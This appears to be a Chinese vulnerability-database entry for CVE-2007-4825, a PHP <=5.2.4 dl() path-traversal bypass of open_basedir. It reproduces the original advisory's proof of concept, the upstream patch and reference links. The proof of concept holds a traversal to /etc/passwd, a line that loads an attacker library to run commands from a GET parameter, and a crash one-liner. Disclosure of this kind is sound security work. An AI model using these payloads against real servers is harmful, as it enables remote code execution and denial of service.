php 路径遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1189190 漏洞类型 路径遍历
发布时间 2007-11-09 更新时间 2007-11-09
CVE编号 CVE-2007-4825 CNNVD-ID CNNVD-200709-113
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://www.securityfocus.com/bid/69246
https://cxsecurity.com/issue/WLB-2007090036
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200709-113
|漏洞详情
PHP存在目录遍历漏洞,攻击者可以借助dl函数的一个".."绕过打开文件操作的基本目录(open_basedir)限制并可能执行任意代码。
|漏洞EXP
Application: PHP <=5.2.4
Web Site: http://php.net
Platform: unix
Bug: extension_dir bypass & code exec & denial of service
special condition: default php-memory-limit

-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
===========
1) Introduction
===========

"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

======
2) Bug
======

extension_dir bypass & code exec & denial of service
http://ca.php.net/manual/fr/function.dl.php

=====
3)Proof of concept
=====
/*
debian:~# php -v
PHP 5.2.4 (cli) (built: Aug 31 2007 16:39:15)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
*/


Proof of concept example :
/*enable by default in php.ini for php 5.2.x */

<?php
dl("../../../../../../../../../../../../../../etc/passwd")
output --->
Warning: dl() [function.dl]: Unable to load dynamic library './../../../../../../../../../etc/passwd' - ./../../../../../../../../../etc/passwd: invalid ELF header in /usr/local/apache2/htdocs/3.php on line 2

ya right ... /etc/passwd dont have any ELF header .
but we agree that it's not checked in anyway by open_basedir.
fine then bypassed .
then :
<?php
dl("./../../../../../../../../../../../home/myuser/www//my_powning_lib/pwned.so");
$a = powningfunction($_GET['lets_exec']);
print_r($a);
?>


denial of service :
debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
Erreur de segmentation
debian:/home/lorenzo#

========
4)Greets
========
Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurezone & #nibbles

=====
5)Credits
=====

laurent gaffi
laurent.gaffi@gmail.com

===============
SecurityReason Note
===============

This patch seems to fix the issue:

Index: dl.c - Added
===================================================================
 	  	                 if(type == MODULE_TEMPORARY) {
  	                         if(strchr(Z_STRVAL_P(file), '/') != NULL || strchr(Z_STRVAL_P(file), DEFAULT_SLASH) != NULL) {
	  	                                 php_error_docref(NULL TSRMLS_CC, E_WARNING, "Temporary module name should contain only filename");
  	                                 RETURN_FALSE;
  	                         }
  	                 }
 
Patch also available on :
http://cvs.php.net/viewvc.cgi/php-src/ext/standard/dl.c?r1=1.106.2.1.2.2&r2=1.106.2.1.2.3 

Patch provided by Stanislav Malyshev, Zend Software Architect
|受影响的产品
SuSE SUSE Linux Enterprise Server 9 SuSE SUSE Linux Enterprise Server 10 SP1 SuSE SUSE Linux Enterprise SDK 10 SP1 SuSE Linux 10.1 S.u.S.E. openSUSE 10.3 S.u.S.E. openSUS
|参考资料

来源:BUGTRAQ
名称:20070910Re:PHP<=5.2.4open_basedirbypass&codeexec&denialofservice
链接:http://www.securityfocus.com/archive/1/archive/1/478989/100/0/threaded
来源:BUGTRAQ
名称:20070910/*PHP<=5.2.4open_basedirbypass&codeexec&denialofserviceerrata...workingonwindowstoo..*/
链接:http://www.securityfocus.com/archive/1/archive/1/478988/100/0/threaded
来源:BUGTRAQ
名称:20070910PHP<=5.2.4open_basedirbypass&codeexec&denialofservice
链接:http://www.securityfocus.com/archive/1/archive/1/478985/100/0/threaded
来源:OSVDB
名称:45902
链接:http://osvdb.org/45902
来源:XF
名称:php-dl-security-bypass(36528)
链接:http://xforce.iss.net/xforce/xfdb/36528
来源:www.php.net
链接:http://www.php.net/releases/5_2_5.php
来源:www.php.net
链接:http://www.php.net/ChangeLog-5.php#5.2.5
来源:GENTOO
名称:GLSA-200710-02
链接:http://www.gentoo.org/security/en/glsa/glsa-200710-02.xml
来源:SREASON
名称:3119
链接:http://securityreason.com/securityalert/3119
来源:SECUNIA
名称:28658
链接:http://secunia.com/advisories/28658
来源:SECUNIA
名称:27102
链接:http://secunia.com/advisories/271